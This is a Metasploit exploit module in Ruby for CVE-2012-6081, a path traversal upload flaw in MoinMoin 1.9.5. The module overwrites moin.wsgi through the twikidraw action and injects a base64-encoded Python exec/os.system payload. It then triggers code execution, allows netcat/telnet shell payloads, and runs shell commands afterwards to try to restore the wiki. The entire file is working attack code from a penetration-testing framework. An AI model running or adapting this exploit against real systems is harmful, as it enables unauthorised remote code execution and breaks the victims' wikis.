##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ManualRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'MoinMoin twikidraw Action Traversal File Upload',
			'Description'    => %q{
					This module exploits a vulnerability in MoinMoin 1.9.5. The vulnerability
				exists on the manage of the twikidraw actions, where a traversal path can be used
				in order to upload arbitrary files. Exploitation is achieved on Apached/mod_wsgi
				configurations by overwriting moin.wsgi, which allows to execute arbitrary python
				code, as exploited in the wild on July, 2012. The user is warned to use this module
				at his own risk since it's going to overwrite the moin.wsgi file, required for the
				correct working of the MoinMoin wiki. While the exploit will try to restore the
				attacked application at post exploitation, correct working after all isn't granted.
			},
			'Author'         =>
				[
					'Unknown', # Vulnerability discovery
					'HTP', # PoC
					'juan vazquez' # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2012-6081' ],
					[ 'OSVDB', '88825' ],
					[ 'BID', '57082' ],
					[ 'EDB', '25304' ],
					[ 'URL', 'http://hg.moinmo.in/moin/1.9/rev/7e7e1cbb9d3f' ],
					[ 'URL', 'http://wiki.python.org/moin/WikiAttack2013' ]
				],
			'Privileged'     => false, # web server context
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 16384, # Enough one to fit any payload
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic telnet netcat perl'
						}
				},
			'Platform'       => [ 'unix' ],
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'MoinMoin 1.9.5', { }]],
			'DisclosureDate' => 'Dec 30 2012',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [ true, "MoinMoin base path", "/" ]),
				OptString.new('WritablePage', [ true, "MoinMoin Page with edit permissions to inject the payload, by default WikiSandbox (Ex: /WikiSandbox)", "/WikiSandBox" ]),
				OptString.new('USERNAME', [ false,  "The user to authenticate as (anonymous if username not provided)"]),
				OptString.new('PASSWORD', [ false,  "The password to authenticate with (anonymous if password not provided)" ])
			], self.class)
	end

	def moinmoin_template(path)
		template =[]
		template << "# -*- coding: iso-8859-1 -*-"
		template << "import sys, os"
		template << "sys.path.insert(0, 'PATH')".gsub(/PATH/, File.dirname(path))
		template << "from MoinMoin.web.serving import make_application"
		template << "application = make_application(shared=True)"
		return template
	end

	def restore_file(session, file, contents)
		first = true
		contents.each {|line|
			if first
				session.shell_command_token("echo \"#{line}\" > #{file}")
				first = false
			else
				session.shell_command_token("echo \"#{line}\" >> #{file}")
			end
		}
	end

	# Try to restore a basic moin.wsgi file with the hope of making the
	# application usable again.
	# Try to search on /usr/local/share/moin (default search path) and the
	# current path (apache user home). Avoiding to search on "/" because it
	# could took long time to finish.
	def on_new_session(session)
		print_status("Trying to restore moin.wsgi...")
		begin
			files = session.shell_command_token("find `pwd` -name moin.wsgi 2> /dev/null")
			files.split.each { |file|
				print_status("#{file} found! Trying to restore...")
				restore_file(session, file, moinmoin_template(file))
			}

			files = session.shell_command_token("find /usr/local/share/moin -name moin.wsgi 2> /dev/null")
			files.split.each { |file|
				print_status("#{file} found! Trying to restore...")
				restore_file(session, file, moinmoin_template(file))
			}
			print_warning("Finished. If application isn't usable, manual restore of the moin.wsgi file would be required.")
		rescue
			print_warning("Error while restring moin.wsgi, manual restoring would be required.")
		end
	end

	def do_login(username, password)
		res = send_request_cgi({
			'method'   => 'POST',
			'uri'      => normalize_uri(@base, @page),
			'vars_post' =>
				{
					'action' => 'login',
					'name' => username,
					'password' => password,
					'login' => 'Login'
				}
			})

		if not res or res.code != 200 or not res.headers.include?('Set-Cookie')
			return nil
		end

		return res.get_cookies

	end

	def upload_code(session, code)

		vprint_status("Retrieving the ticket...")

		res = send_request_cgi({
			'uri'      => normalize_uri(@base, @page),
			'cookie'   => session,
			'vars_get' => {
				'action' => 'twikidraw',
				'do'     => 'modify',
				'target' => '../../../../moin.wsgi'
			}
		})

		if not res or res.code != 200 or res.body !~ /ticket=(.*?)&amp;target/
			vprint_error("Error retrieving the ticket")
			return nil
		end

		ticket = $1
		vprint_good("Ticket found: #{ticket}")

		my_payload = "[MARK]#{code}[MARK]"
		post_data = Rex::MIME::Message.new
		post_data.add_part("drawing.r if()else[]\nexec eval(\"open(__file__)\\56read()\\56split('[MARK]')[-2]\\56strip('\\\\0')\")", nil, nil, "form-data; name=\"filename\"")
		post_data.add_part(my_payload, "image/png", nil, "form-data; name=\"filepath\"; filename=\"drawing.png\"")
		my_data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

		res = send_request_cgi({
			'method'   => 'POST',
			'uri'      => normalize_uri(@base, @page),
			'cookie'   => session,
			'vars_get' =>
			{
				'action' => 'twikidraw',
				'do'     => 'save',
				'ticket' => ticket,
				'target' => '../../../../moin.wsgi'
			},
			'data'     => my_data,
			'ctype'    => "multipart/form-data; boundary=#{post_data.bound}"
		})

		if not res or res.code != 200 or not res.body.empty?
			vprint_error("Error uploading the payload")
			return nil
		end

		return true
	end

	def check
		@base = target_uri.path
		@base << '/' if @base[-1, 1] != '/'

		res = send_request_cgi({
			'uri' => normalize_uri(@base)
		})

		if res and res.code == 200 and res.body =~ /moinmoin/i and res.headers['Server'] =~ /Apache/
			return Exploit::CheckCode::Detected
		elsif res
			return Exploit::CheckCode::Unknown
		end

		return Exploit::CheckCode::Safe
	end

	def writable_page?(session)

		res = send_request_cgi({
			'uri' => normalize_uri(@base, @page),
			'cookie' => session,
		})

		if not res or res.code != 200 or res.body !~ /Edit \(Text\)/
			return false
		end

		return true
	end


	def exploit

		# Init variables
		@page = datastore['WritablePage']

		@base = target_uri.path
		@base << '/' if @base[-1, 1] != '/'

		# Login if needed
		if (datastore['USERNAME'] and
			not datastore['USERNAME'].empty? and
			datastore['PASSWORD'] and
			not datastore['PASSWORD'].empty?)
			print_status("Trying login to get session ID...")
			session = do_login(datastore['USERNAME'], datastore['PASSWORD'])
		else
			print_status("Using anonymous access...")
			session = ""
		end

		# Check authentication
		if not session
			fail_with(Exploit::Failure::NoAccess, "Error getting a session ID, check credentials or WritablePage option")
		end

		# Check writable permissions
		if not writable_page?(session)
			fail_with(Exploit::Failure::NoAccess, "There are no write permissions on #{@page}")
		end

		# Upload payload
		print_status("Trying to upload payload...")
		python_cmd = "import os\nos.system(\"#{Rex::Text.encode_base64(payload.encoded)}\".decode(\"base64\"))"
		res = upload_code(session, "exec('#{Rex::Text.encode_base64(python_cmd)}'.decode('base64'))")
		if not res
			fail_with(Exploit::Failure::Unknown, "Error uploading the payload")
		end

		# Execute payload
		print_status("Executing the payload...")
		res = send_request_cgi({
			'uri'      => normalize_uri(@base, @page),
			'cookie' => session,
			'vars_get' => {
				'action' => 'AttachFile'
			}
		}, 5)

	end

end